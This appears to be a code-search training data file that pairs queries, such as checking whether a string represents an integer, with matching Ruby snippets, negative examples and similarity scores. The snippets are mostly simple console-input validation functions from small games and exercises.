"def ask(message, valid_options)\n if valid_options\n answer = get_stdin(\"#{message} #{valid_options.to_s.gsub(/\"/, '').gsub(/, /,'/')} \") while !valid_options.include?(answer)\n else\n answer = get_stdin(message)\n end\n answer\nend", "def check_answer_input(range) #this method both prints and checks the answer\r\n\r\n\tequation = new_equation(range)\r\n\tanswer = false\r\n\r\n\twhile answer == false\r\n\t\tputs equation\r\n\t\tresult = eval equation\r\n\t\tputs \"{answer: #{result}}\"\r\n\t\tanswer_user = gets.chomp\r\n\r\n\t\tif answer_user.downcase == \"q\" #make a new method for if ??? - yes, I would make a new method\r\n\t\t\texit\r\n\t\telsif answer_user.to_i == result\r\n\t\t\tputs \"Correct!\"\r\n\t\t\tcheck_answer_input(range)\r\n\t\telse\r\n\t\t\tputs \"Try again\"\r\n\t\tend\r\n\tend\r\nend", "def good_wrong?(num, input_array)\n\tif (multiple?(num, input_array) || duplicate?(num, input_array))\n\t\treturn false\n\telse\n\t\treturn true\n\tend\nend", "def valid_first_input?(input)\n unit = input[/^[-\\d .]+(.*)/m, 1]\n @all_units.include?(unit)\n end", "def accepts?(input)\n resp = feed(input)\n resp[:accept]\n end", "def accepts?(input)\n resp = feed(input)\n resp[:accept]\n end", "def get_choice_from_bipolar question, allowed_answers = %w[ y n ENTER ] # {{{\n print \"#{question.to_s} [#{allowed_answers.join(\", \")}] : \"\n STDOUT.flush\n answer = STDIN.gets.to_s\n if( answer =~ %r{^\\n$}i )\n answer = \"enter\"\n else\n answer = answer.chomp.downcase\n end\n\n return true if( answer =~ %r{y|enter}i )\n return false if( answer =~ %r{n}i )\n end", "def validate(input_selection, num_stops, msg)\n puts \"you selected #{input_selection}\"\n puts \"there are #{num_stops} on this line\"\n\n if input_selection.between?(1, num_stops)\n bool = 1\n puts \" in first if: i.sel = #{input_selection} and numstops = #{num_stops}\"\n else\n bool = 0\n puts \"else returned boo = 0\"\n end\n while bool > 0\n puts \"Error, Invalid Entry\"\n puts \"#{msg}\"\n try_again = gets.chomp.to_i\n if try_again.between?(1, num_stops)\n bool = 0\n puts \"bool = 0 in nested if statement\"\n else\n bool = 1\n end\n end\n\n #return input_selection\nend", "def check_input(input_word)\n # Define a string which includes all valid letter\n dict = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n is_valid = true\n # set return value as false if the length of word not exactly equal 5\n if(input_word.split(//).size != 5)\n is_valid = false\n end\n # If the letter occurs more than once in the word, set return value to false\n # include? method to find if a letter is included in input_word\n input_word.split(//).each do |letter|\n if(dict.include?(letter) == false)\n is_valid = false\n end\n end # end of the each method\n return is_valid\n end", "def validate_input\n puts \"Enter move >\"\n player_input = gets.chomp\n if player_input == \"q\"\n exit_game\n return\n end\n \n #Check for valid input\n player_input = player_input.gsub(/[^1-3]/, '') #Strip all but digits 1-3\n # puts player_input # testing\n\n player_input = player_input.split(\"\") # Converts input to array.\n\n if player_input.length != 2 # Looking for only two digit answers\n puts \"Please enter in the format '[1,3]'\"\n return false #Signals invalid input\n elsif player_input[0] == player_input[1]\n puts \"You can't move a piece to the same spot.\"\n else\n return player_input\n end\n end", "def validate_letter_selection(input)\n until [\"A\", \"B\", \"C\", \"D\"].include?(input)\n print \"That doesn't look like one of the options. \\n\\nPlease enter either A, B, C, or D: \"\n input = gets.chomp.upcase\n end\n return input\nend", "def put_in_user\n #setting variables\n name, cohort, city, hobby = placeholder\n #prompting the user for input and receiving it\n puts \"Hey there, type your name\".center(50)\n name = STDIN.gets.chomp\n\n puts \"Put your cohort\".center(50)\n cohort_input = STDIN.gets.chomp\n cohort = cohort_input.downcase\n\n puts \"Put your city\".center(50)\n city = STDIN.gets.chomp\n\n puts \"Put your hobby\".center(50)\n hobby = STDIN.gets.chomp\n\n validation_of_user_input(name, cohort, city, hobby)\n\nend", "def get_user_item_if_valid(items_type, input_items)\n possible_item = gets.chomp.strip.gsub(/\\s+/, \" \")\n if possible_item.empty?\n puts \"Please provide a #{items_type}\"\n elsif input_items.any? { |item| item.casecmp?(possible_item) } # no duplicates\n puts \"Please provide a non-duplicate for #{items_type}\"\n else\n return possible_item\n end\nend", "def catch_argument_passed_as_input(arg_list, arg, arg_input)\n arg_list.each do |arg_element|\n if arg_input.strip == arg_element\n exit_failure(missing_input_msg(arg))\n end\n end\n end", "def validate_inputs(operations, inputs_match_outputs: false)\n total_inputs = []\n total_outputs = []\n operations.each do |op|\n total_inputs += op.input_array(INPUT_ARRAY).map! { |fv| fv.sample }\n total_outputs += op.output_array(OUTPUT_ARRAY).map! { |fv| fv.sample }\n end\n\n\n a = total_inputs.detect{ |item| total_inputs.count(item) > 1}\n message = ''\n message += \"Item #{a.id} has been included multiple times in this job,\" if a != nil\n message += 'The number of Input Items and Output\n Items do not match,' if total_inputs.length != total_outputs.length && inputs_match_outputs\n message += 'Too many Items for this job. Please re-launch \n job with fewer Items,' if total_inputs.length > MAX_INPUTS\n message += 'There are no Items for this job.' if total_inputs.length <= 0\n return end_job(operations, message: message) unless message == ''\n false\n end", "def verification_one(input)\n while input != \"1\" && input != \"2\" && input != \"3\"\n if input == \"exit\"\n return false\n else\n puts \"Please enter (1-3) or type exit.\"\n print \"> \"\n input = gets.strip.downcase\n end\n end\n\n case input\n when \"1\"\n input = \"Critically Endangered\"\n when \"2\"\n input = \"Endangered\"\n when \"3\"\n input = \"Vulnerable\"\n end\n input\n end", "def pick_filter(min, max, add_quit = true)\n guide_msg = \"Valid values are from #{min} to #{max}\"\n if add_quit\n guide_msg += \" or 'q' to quit\"\n end\n retval = nil\n entered_valid = false\n atmps = 0\n integer_pattern = /[0-9]+/\n while ! entered_valid do\n user_input = $stdin.gets.chomp.downcase\n if (user_input == 'q' && add_quit) || (atmps > 7)\n puts \"Exiting!\"\n exit(0)\n end\n if user_input =~ integer_pattern\n entered_value = user_input.to_i\n if entered_value >= min && entered_value <= max\n retval = entered_value\n entered_valid = true\n end\n end\n if ! entered_valid\n puts guide_msg\n end\n atmps += 1\n end\n return retval\n end", "def get_user_input(user, enemies)\n option = gets.chomp.to_s\n while (option != \"a\" && option != \"b\" && option != \"1\" && option != \"0\")\n puts \"Option non valide\"\n option = gets.chomp.to_s\n end\n if option == \"a\"\n user.search_weapon\n elsif option == \"b\"\n user.search_health_pack\n elsif option == \"0\"\n user.attack(enemies[1])\n elsif option == \"1\"\n user.attack(enemies[0])\n end\nend", "def check_answer correct_answer\n user_answer = gets.chomp.downcase\n correct_answer.each do |x|\n if user_answer == x\n puts \"Correct Answer!!!\"\n return true\n end\n end\n puts \"Sorry, incorrect answer :(\"\n return false\nend", "def whos_your_enemy(enemy)\n\n # validate enemy response\n valid_options = [\"Riddler\", \"Penguin\", \"Joker\"]\n until valid_options.include?(enemy)\n # puts [\"Huh?\", \"Wha?\", \"Que?\", \"Como?\"].sample\n question = [\"Huh?\", \"Wha?\", \"Que?\", \"Como?\"].sample\n\n # puts \"Options: Joker, Penguin, Riddler\"\n options = \"Joker, Penguin, Riddler\"\n\n # enemy = gets.chomp.capitalize.strip\n enemy = ask_question question, options\n end\n\n # alternate validation strategy\n # loop do\n # puts \"Huh?\"\n # puts \"Options: Joker, Penguin, Riddler\"\n # enemy = gets.chomp.capitalize.strip\n #\n # if valid_options.include?(enemy)\n # break\n # end\n # end\n\n case enemy\n when \"Riddler\"\n say \"#{enemy}: Puzzle me this, Batman.\"\n when \"Joker\"\n say \"#{enemy}: Ha ha ha ha... ha ha.\"\n when \"Penguin\"\n say \"#{enemy}: Rweh rweh rweh... rweh...\"\n else\n say \"This should never happen.\"\n # ... if the validation is correct\n end\nend", "def match?(choices)\n\n @choices = choices\n raise ArgumentError, 'Checker received non-card input' unless @choices.kind_of?(Array)\n raise ArgumentError, 'A set has 3 cards! Please select 3 cards!' unless @choices.size == 3\n\n # Logic: \"MAKE THIS TERSE\"\n numbers = Array.new(3) { |i| choices[i].number }\n symbols = Array.new(3) { |i| choices[i].symbol }\n shadings = Array.new(3) { |i| choices[i].shading }\n colors = Array.new(3) { |i| choices[i].color }\n\n features = [numbers, symbols, shadings, colors]\n @result = features.all? { |feature| feature.uniq.size != 2 }\n end", "def sanitize_input(arr)\n\t\t# Checking variable checks to make sure each digit is correct\n\t\tchecking = 0\n\t\t# Set error message to nil\n\t\tmessage = nil\n\t\t# Check each digit in the array to make sure it's a digit\n\t\t# If not, increase checking variable\n\t\tarr.each do |n|\n\t\t\tunless (1..6).include?(n)\n\t\t\t\tchecking += 1\n\t\t\tend\n\t\tend\n\t\t# If all entries were digits and there were 4 of them...\n\t\tif checking == 0 && arr.length == 4\n\t\t\tif @master == \"comp\"\n\t\t\t\t# Add guess to the board, increase the turn and check if guess was correct\n\t\t\t\t@board << arr\n\t\t\t\t@turn += 1\n\t\t\t\tcheck_guess(arr)\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\t# Guess was all digits, but there weren't four\n\t\t# Send error message to error method\n\t\telsif checking == 0 && arr.length != 4\n\t\t\tif @master == \"comp\"\n\t\t\t\tmessage = \"Whoops! You must enter exactly FOUR numbers like this: 3241\"\n\t\t\t\terror(message)\n\t\t\telse \n\t\t\t\treturn false\n\t\t\tend\n\t\t# Guess was not all digits, but there were four\n\t\t# Send error message to error method\n\t\telsif checking > 0 && arr.length == 4\n\t\t\tif @master == \"comp\"\n\t\t\t\tmessage = \"Whoops! You must enter numbers 1-6 like this: 4256\"\n\t\t\t\terror(message)\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\t# Guess wasn't all digits, and there weren't four\n\t\t# Send error message to error method\n\t\telse\n\t\t\tif @master == \"comp\"\n\t\t\t\tmessage = \"Whoops! You must enter FOUR numbers and they have to be 1-6 \\nlike this: 1234\"\n\t\t\t\terror(message)\n\t\t\telse \n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend", "def valid_selection(*choices)\r\n while true\r\n selection = gets.chomp\r\n if choices.to_s.include?(selection)\r\n return selection.to_i\r\n end\r\n puts \"Invalid choice number, please re-enter\"\r\n end \r\n end", "def validate_answer(answer)\n (answer.match(/a|b/) && answer.length == 1) || answer.match(/--quit|-q/)\n end", "def validate_input\n problems = test_input\n raise OperationalError, \"Found the following problems: #{problems}\" unless problems.empty?\n end", "def valid_coin(coin_input)\n coins = [1,5,10,25]\n if coins.include?(coin_input)\n puts \"Total inserted: #{coin_input}\"\n else\n \"Not a valid coin.\"\n end\n end", "def experienced?(input)\n input >= 2\nend", "def match_array(input)\n case input\n in [a, b, c]\n \"matching - #{a}, #{b}, #{c}\"\n else\n \"no match\"\n end\nend", "def validate_planet_selection(input, names, length)\n until names.include?(input) || (1..length).include?(input.to_i)\n print \"That doesn't look like one of the planets in the system. \\n\\nPlease select a planet (by name or number) from the existing system: \"\n input = gets.chomp.capitalize\n end\n return input\nend", "def peg_check(peg_array)\n\n @test1 = false\n @test2 = false\n\n if peg_array.length != 4 \n @test1 = false\n puts \" \"\n puts \"Bad number of pegs....please enter 4 pegs:\"\n puts \" \"\n else\n @test1 = true\n end\n \n peg_array.each do |arr|\n if (arr != \"R\" && arr != \"G\" && arr != \"B\" && arr != \"Y\" && arr != \"V\" && arr != \"C\")\n @test2 = false\n puts \" \"\n puts \"Bad peg color input....please re-enter:\"\n puts \" \"\n break\n else\n @test2 = true\n end\n end\n\n if @test1 == false || @test2 == false\n @inputted = false\n else\n @inputted = true\n end\n\n end", "def valid_user_input?(input)\n input.length > 0\n end", "def input_validation(input)\n case input\n when Array\n puts \"It's an Array\"\n puts array_to_binary_array(input)\n when String\n puts \"A string\"\n string_to_binary_array(input)\n when Fixnum\n puts \"Integer\"\n fixnum_to_binary_array(input)\n else puts \"God knows!\"\n end\nend", "def uses_available_letters? (input, letters_in_hand)\n letters_in_hand.join.include? input\nend", "def query_user(user_prompt = 'Please enter a string: ', input_type = 'string')\n user_input = nil\n print user_prompt\n loop do\n user_input = gets.chomp\n case input_type\n when 'yesno'\n user_input = 'y' if user_input == 'Y' #give user some slack\n user_input = 'n' if user_input == 'N'\n return user_input if valid_yesno?(user_input)\n print \"Regrettably, a binary choice (\\'y\\' or \\'n\\') is required: \"\n when 'char'\n return user_input if valid_char?(user_input)\n print \"Sorry, single standard characters only. Please try again: \"\n when 'string'\n return user_input if valid_string?(user_input)\n print \"Sorry, standard keyboard characters only. \\nPlease try again: \"\n when 'int'\n return user_input.to_i if valid_int?(user_input)\n print 'Sorry, an integer is required. Try again: '\n when 'float'\n return user_input.to_f if valid_float?(user_input)\n print 'Sorry, a float is required. Try again: '\n else\n abort('Application Error: Improper input_type provided to query_user')\n end #case\n end #do\nend", "def suggest_new_possibility?\n puts \"\"\n puts \"Would you like us to suggest a new possibility?\"\n puts \"\"\n puts \"1. Yes, give me more.\"\n puts \"2. Yes and I'd like to change my time and location first.\"\n puts \"3. No, I've had enough.\"\n puts \"\"\n self.suggest_another = gets.strip\n self.quit if self.suggest_another == \"quit\"\n if [\"1\", \"2\", \"3\"].all? { |i| self.suggest_another != i}\n self.what_was_that?\n self.suggest_new_possibility?\n end\n self.continue?\n end", "def evaluate_answer\n print \"Your answer please: \"\n ans = $stdin.gets.chomp\n if ans.to_i == @current_ans.to_i\n return true\n puts 'True'\n else\n return false\n puts 'False'\n end\n end", "def validate_inputs(env, rec, args)\n # check size\n return false unless inputs.size == args.size\n\n # check type\n inputs.each_with_index do |input, i|\n input = get_type(env, input, rec)\n unless input.match(env, args[i])\n return false\n end\n end\n return true\n end", "def correct_answer?(a, b, player_input, operation)\n case operation\n when 'add'\n result = add(a,b)\n when 'subtract'\n result = subtract(a,b)\n when 'multiply'\n result = multiply(a,b)\n end\n player_input == result\nend", "def uses_available_letters?(input, letters_in_hand)\n\n input_array = input.upcase.split(\"\").sort\n sorted_hand = letters_in_hand.sort[0...input_array.length]\n\n return input_array == sorted_hand\n\nend", "def user_input\n\t\tputs \"Please pick a letter to guess the word.\"\n\t\t@letter = gets.chomp.downcase\n\t\t@letters_array = [*?a..?z] #creates an array of the alphabet from a to z lowercase\n\t\tuser_input_check\n\tend", "def ask_for_yes_no(msg)\n ['y','yes'].include?(ask_for_user_input(\"#{msg} [y/N]\").strip.downcase)\nend", "def mad_lib\n user_inputs = []\n required_data = %w(noun verb adjective adverb)\n required_data.each do |question|\n puts \"Enter a #{question}:\"\n user_inputs << gets.chomp\n end\n puts \"Do you #{user_inputs[1]} your #{user_inputs[2]} #{user_inputs[0]} #{user_inputs[3]}? That's hilarious!\"\nend", "def correct_answer(x)\n \t return true if x =~ /Empate: /\n \t \n return true if x =~ /Gana maquina. Maquina (\\w+) versus Jugador (\\w+)/ and RockPaperScissors.defeat[$1.to_sym] == $2.to_sym\n return true if x =~ /Bien, gana el jugador. Jugador: (\\W+) versus Maquina: (\\w+)/ and RockPaperScissors.defeat[$1.to_sym] == $2.to_sym\n \tend", "def q_offer_insurance\n loop do\n clean\n print \"Do you want to offer insurance if dealer shows an ace? [y/n] \"\n answer = gets.chomp.downcase\n\n if answer[0] == \"y\" || answer == \"\"\n return true\n elsif answer[0] == \"n\"\n return false\n end\n clean\n puts \"That is not a valid answer!\"\n gets\n end\nend", "def input\n\n\tanswer = rand(10) + 1\n\n\tputs \"\\n\\nGuess a number between 1 and 100 correctly.\"\n\tguess = gets.chomp.to_i\n\n\tif guess < 101 && guess > 0 \n\t\tprompt(guess, answer)\n\telse\n\t\tputs \"The cowboy with wise old eyes sighs.. you lost your chance for free admission.\" \n\t\treturn false\n\tend\n\nend", "def better_get_y_or_n\n loop do \n puts \">> Do you want me to print something? (y/n)\"\n user_input = gets.chomp\n return user_input if %w(y n).include? user_input.downcase\n puts \">> Invalid input! Please enter y or n\" \n end\nend", "def main\n puts \"What is your name?\"\n user = gets.strip\n ans = answer_validation(user)\n\n running = true\n while running\n case ans\n when 1\n puts \"Please list all your allergies. Press \\\"q\\\" to exit.\"\n user_allergies = Array.new\n user_input = gets.strip\n while user_input.downcase[0] != 'q'\n user_allergies << user_input\n user_input = gets.strip\n end\n score = test_by_allergy(user_allergies)\n system(\"clear\")\n puts \"\\nYour Allergy Score is #{score}\\n\"\n\n when 2\n system(\"clear\")\n print_allergies(score_validation)\n\n when 3\n puts \"What do you think you are allergic to?: \"\n user_allergy = gets.strip\n system(\"clear\")\n if is_allergic?(score_validation, user_allergy)\n puts \"\\nYes, You are allergic to #{user_allergy}!\"\n else\n puts \"\\nNo, You are not allergic to #{user_allergy}!\"\n end\n\n\n when 4\n system(\"clear\")\n $all_allergies.each{|k,v| puts \"#{k} has a score of #{v}\"}\n\n else\n return puts \"Thank you for using our program! Always be safe!\"\n end\n ans = answer_validation\n end\nend" ]
[ "0.70334756", "0.6751104", "0.66059357", "0.6561781", "0.65116155", "0.65024185", "0.6497687", "0.6416686", "0.6403159", "0.63869214", "0.6302562", "0.6284568", "0.62813675", "0.62699306", "0.62043387", "0.6189875", "0.61859614", "0.6183914", "0.616486", "0.6107275", "0.61010635", "0.60847795", "0.60782456", "0.6054154", "0.6041299", "0.60242754", "0.6011007", "0.5999291", "0.5991157", "0.5972322", "0.59661525", "0.5965352", "0.59495497", "0.5945079", "0.5941946", "0.5939575", "0.5918787", "0.5905772", "0.5883599", "0.58681506", "0.5861311", "0.585971", "0.5854161", "0.58455783", "0.5844299", "0.582374", "0.58150285", "0.58098936", "0.5809155", "0.58064705", "0.57972217", "0.57757515", "0.57651776", "0.57641083", "0.5760751", "0.5759313", "0.5757904", "0.57562125", "0.57562125", "0.57344145", "0.57322663", "0.5732083", "0.57274437", "0.57155025", "0.5704466", "0.570293", "0.5699968", "0.5690727", "0.56696534", "0.566704", "0.5662795", "0.5651971", "0.56516635", "0.56406194", "0.56377876", "0.56374085", "0.56360567", "0.5635947", "0.56358314", "0.5634648", "0.5621844", "0.5620323", "0.5615954", "0.56095165", "0.5609014", "0.5602532", "0.55955034", "0.5593482", "0.5584317", "0.55837595", "0.5580163", "0.55800134", "0.55780697", "0.5577898", "0.5576498", "0.5575404", "0.55717343", "0.55521554", "0.5547152", "0.55436236" ]
0.71899784
0
check if a string represent an integer, return true or false accepts one argument: string: the string to be check for integer
def is_integer(string) string.to_i.to_s == string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def integer?(string)\n true if Integer(string)\n rescue\n false\n end", "def is_integer? string\n true if Integer(string) rescue false\n end", "def integer?(str)\n true if Integer(str)\n rescue ArgumentError, TypeError\n false\n end", "def is_string_int?(string)\n string.to_i.to_s == string\nend", "def valid_integer?(string)\r\n string.to_i.to_s == string\r\nend", "def valid_integer?(string)\n string.to_i.to_s == string\nend", "def valid_integer?(string)\n string.to_i.to_s == string\nend", "def is_integer(str)\n str.to_i.to_s == str\n end", "def is_int? str\n Integer(str) rescue return false\n return true\nend", "def is_integer(str)\n \tbegin\n \t\tInteger(str)\n \t\treturn true\n \trescue ArgumentError\n \t\treturn false\n \tend\n end", "def integer?(string)\n b = Integer(string)\n return b\nrescue ArgumentError\n return false\nend", "def isIntegerString?(string)\n Integer(string)\n return true\nrescue ArgumentError\n return false\nend", "def integer?(str)\n /\\A[+-]?\\d+\\z/ === str\n end", "def is_integer str\n return str.class == Fixnum || str == str.to_i.to_s\n end", "def string_is_integer?(n)\n n == n.to_i.to_s\nend", "def is_integer(str)\n Integer(str) != nil rescue false\n end", "def is_integer(string)\n /\\A[+-]?\\d+\\Z/ === string\n end", "def value_is_integer?(string)\n return string.strip.numeric?\n end", "def is_string_a_valid_integer?(str)\n (str =~ /^-?[0-9]+$/) == 0 ? true : false\nend", "def positive_integer_string?(value)\n value.is_a?(String) && /^[1-9]\\d*$/ =~ value ? true : false\n end", "def zero_or_positive_integer_string?(value)\n value.is_a?(String) && /^\\d+$/ =~ value ? true : false\n end", "def is_integer?\n self =~ /\\A-?(?:0|[1-9][0-9]*)\\z/\n end", "def validate_str_is_integer(value)\n !!(value =~ /\\A[-+]?[0-9]+\\z/)\n end", "def integer?(num)\n num.to_i.to_s == num # converts num to interger and back to string and then compares this with num.\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend", "def integer?(num)\n num.to_i.to_s == num # converts num to interger and back to string and then compares this with num.\n\n #num.match(/\\d/) # this asks is input num has any letters in it.\nend", "def number?(str)\n !!Integer(str)\nrescue ArgumentError, TypeError\n false\nend", "def validate_str_is_integer(value)\n !!(value =~ /\\A[-+]?[0-9]+\\z/)\n end", "def is_number?(string)\n true if Integer(string) && Integer(string) >= 0 rescue false\n end", "def is_integer?(input)\n input.to_i.to_s == input\nend", "def integer?(num)\n /^-?\\d*$/.match(num) ? true : false\nend", "def valid_looking_string?(str)\n str =~ /\\d/\n end", "def integer?(input)\n # could also do input.to_i.to_s == input but something with a\n # leading 0 (\"00\", \"01\", etc) will return false\n Integer(input)\nrescue ArgumentError\n false\nend", "def checkInt(s)\n /\\A[-+]?\\d+\\z/ === s\n end", "def is_int?(str)\n !!(str =~ /^[+]?[0-9]+$/) #regexp for positive integer, returning boolean\nend", "def valid_int_str?(str)\n str =~ /^[+\\-]?[\\d]*$/ # optional sign, then only digits\n end", "def number?(string)\n string.to_i.to_s == string\n end", "def is_num(str)\n\treturn true if str =~ /^\\d+$/\n true if Int(str) rescue false\nend", "def integer?(input)\n input.to_i.to_s == input\nend", "def integer?(input)\n input.to_i.to_s == input\nend", "def integer?(input)\n input.to_i.to_s == input\nend", "def is_integer?(input)\n return input.to_s.ord >= 48 and input.to_s.ord <= 57\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\n end", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def integer?(char)\n if char.to_i.to_s == char\n return true\n else\n return false\n end\nend", "def integer?(obj)\n obj = obj.to_s unless obj.is_a? String\n /^\\d+$/.match obj\nend", "def integer?(input)\n Integer(input) rescue false\nend", "def is_a_number?(word)\n Integer(word) rescue false\nend", "def valid_int?(num)\n num =~ /^\\d+$/\nend", "def integer?(token)\n token.to_i.to_s == token\n end", "def contains_number (str)\n\n\treturn str =~ /\\d/\n\nend", "def is_a_number?(str)\n str.match(/\\d/)\nend", "def integer?(num)\n num.to_i.to_s == num\nend", "def integer?(num)\n num.to_i > 0 && num.to_i.to_s == num\nend", "def is_i?(s)\n !!(s =~ /\\A[-+]?[0-9]+\\z/)\n end", "def contains_int?\r\n \treturn false if self.empty?\r\n \treturn self.match(/^[0-9]+$/)\r\n end", "def integer?(num)\n num.to_i().to_s()==num\nend", "def ValidNumber? (string)\t\t\t\t\t\t\t\t\n\t### Check if a non-numeric character ever appears in the string using /\\D/\n\t### If so, we know it's not a 'NUMBER' as defined\n\t### Also check if string is empty\n\treturn ( not(/\\D/ =~ string) && not(string.length.zero?) ), string.to_i\nend", "def is_numeric(str)\n true if Integer(str) rescue false\nend", "def is_number(str)\n str.to_f.to_s == str.to_s || str.to_i.to_s == str.to_s\n end", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def can_be_number(string)\n forced_as_f = string.to_f # force string to be a float\n forced_as_i = string.to_i # force string to be an integer\n return string == forced_as_f.to_s || string == forced_as_i.to_s # see if either of the forced strings equal the original\nend", "def is_number(input)\n input.to_s == input.to_i.to_s\nend", "def string_number?(string)\n string_arr = string.split(//)\n string_num_array = ['-', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n string_arr.each do |item|\n if string_num_array.include?(item)\n return true\n else\n return false\n end\n end\nend", "def is_number?(str)\n return str == str.to_f.to_s || str == str.to_i.to_s\nend", "def numeric?(str)\n !str.to_s.match(/^-?[\\d.]+$/).nil?\n # str.to_i.to_s == str\nend" ]
[ "0.8923635", "0.89192915", "0.871536", "0.8708371", "0.866758", "0.86365867", "0.86365867", "0.85735655", "0.85603905", "0.8511508", "0.84299916", "0.8405471", "0.83855855", "0.8354983", "0.8340767", "0.8289857", "0.8281372", "0.8222823", "0.8176003", "0.8169893", "0.8067446", "0.8060452", "0.8058479", "0.80573004", "0.80573004", "0.80520403", "0.80342513", "0.7999049", "0.79825705", "0.7979362", "0.7941444", "0.7916643", "0.7895474", "0.7891444", "0.7889705", "0.7885268", "0.78746545", "0.7837038", "0.783666", "0.783666", "0.77509606", "0.7720553", "0.7719872", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7686344", "0.7683934", "0.7683196", "0.7650392", "0.7619724", "0.7615857", "0.760815", "0.75813556", "0.75711614", "0.75647616", "0.7547903", "0.7540396", "0.74780166", "0.74736714", "0.74612427", "0.7461131", "0.74276644", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.7420163", "0.741545", "0.7400211", "0.7381759", "0.7367888", "0.734387" ]
0.8531283
9
Display the betting screen and call the method for the betting input then +++ if the input is acceptable launch the game. it takes one argument: first_time: Display the welcome string if true
def display_betting_screen(first_time) system "clear" or system "cls" if first_time puts "*** Welcome to Ruby Blackjack ***" end puts "You have #{@money_current} €." puts "Place your bet (min: 5€, max: 100€) or press (q)uit to exit" @money_bet = get_betting_input_and_check start_game end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def first_spin\n puts \"Welcome to the Slots!\".magenta\n puts \"You currently have $#{$wallet}\".green\n puts \"How much money would you like to bet today?\".magenta\n puts \" \"\n @bet_amount = gets.to_i\n puts \" \"\n# if user tries to bet anything less than $1, it will spit them back to the welcome text\n if @bet_amount < 1\n puts \"Come on! You have to at least bet $1...\"\n puts \" \"\n first_spin\n end\n modify_wallet(@bet_amount)\n spin_it\n end", "def user_bet\n puts \"\"\n puts \"How much would you like to bet?\"\n puts \"\"\n gets_user_bet\n end", "def play\n balance = $current_user[:balance].to_i\n streak = $current_user[:streak].to_i\n font = font_instance\n if coin_flip == coin_flip_selection\n system(\"clear\")\n $current_user[:streak] = streak += 1\n if streak >= 2\n $current_user[:balance] = balance += (user_bet_amount * streak) \n system(\"clear\")\n puts \"YOU WON!!!\".colorize(:green) + \" New Balance: $#{balance} ||\" + \" Current Win Streak Multipier: #{streak}x\".colorize(:blue)\n else\n $current_user[:balance] = balance += user_bet_amount\n system(\"clear\")\n puts \"YOU WON!!!\".colorize(:green) + \" New Balance: $#{balance} ||\" + \" Current Win Streak: #{streak}\".colorize(:blue)\n end\n else \n $current_user[:balance] = balance -= user_bet_amount\n $current_user[:streak] = streak -= streak\n system(\"clear\")\n puts \"ooof, sorry that was incorrect. NEW BALANCE: $#{balance} || Current Win Streak: #{streak}\".colorize(:red)\n if balance == 0\n system(\"clear\")\n $current_user[:balance] = balance += 50\n puts \"I can see you ran out of money. Here is $50 on the house. Goodluck! NEW BALANCE: $#{balance}\"\n end\n end\n play_again\nend", "def start\n puts \"\"\n puts Rainbow(\"*\").blue * 70\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts Rainbow(\"Welcome to 